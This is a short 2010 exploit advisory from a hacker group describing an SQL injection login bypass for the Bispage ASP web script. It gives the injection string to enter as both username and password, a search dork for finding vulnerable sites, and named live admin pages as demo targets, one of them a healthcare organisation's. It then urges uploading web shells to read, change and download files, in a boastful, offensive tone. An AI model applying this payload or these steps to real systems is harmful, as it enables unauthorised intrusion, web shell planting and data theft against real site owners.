Bispage SQL Injection

`  
  
# Exploit Title: [ bispage Bypass Vulnerability]  
# Author: [SaMir-BonD] [email protected]  
#Organization : TEAM-DZ  
#Formal sites : t00ls.org - h4kz.com  
# Software Link: [N/A]  
# Script's Language: [.ASP]  
# Tested on: [Windows PHP/4.3.11 os]  
#Dork :"Developed by Bispage.com"  
# CVE : [if exists]  
# Code : [exploit code]  
#Site page : bispage.com >> Infected :D  
# Date: [23-2-2010]  
  
  
  
  
  
  
*Hey dudes how are you doin' :D  
*it's an easy bypass Vuln just see those steps :  
________________________________________________  
1) Victim.com/script/admin  
2) User Between Brackets : (' or 'a'='a)  
Pass Between Brackets : (' or 'a'='a)  
3) Enjoy Uploading Shells :D ( upload ASP shell types to be able to read/modify/download Files)  
4)Demo : http://www.bethesdahealthcare.net/bethesdahealthcare/admin/  
http://Bispage.com/admin  
  
*If you hacked DEmo you will be balls :D  
  
  
  
  
#Greetz to:  
-----------  
[TEAM-DZ: maxi32-noureddin-Skins-TheMoorish-Dr.Genius-IslamLee-M4st3r]  
HcJ-Mr.Mero-Laqi@hajdin-Sh3ko-EGY-MaF!4-Trackoda-Dr.Mozo-TNT_HACKER-Elkatrez-DataFr4ck3r  
& all those who know Samir-BonD(oXide)  
  
---> h4kz.com & t00ls.org  
  
  
Note : La Elah Ella ALLAH .. Muhammad Rasool ALLAH..  
  
  
________________________________  
Hotmail: Free, trusted and rich email service. Get it now.<http://clk.atdmt.com/GBL/go/201469228/direct/01/>  
  
  
  
`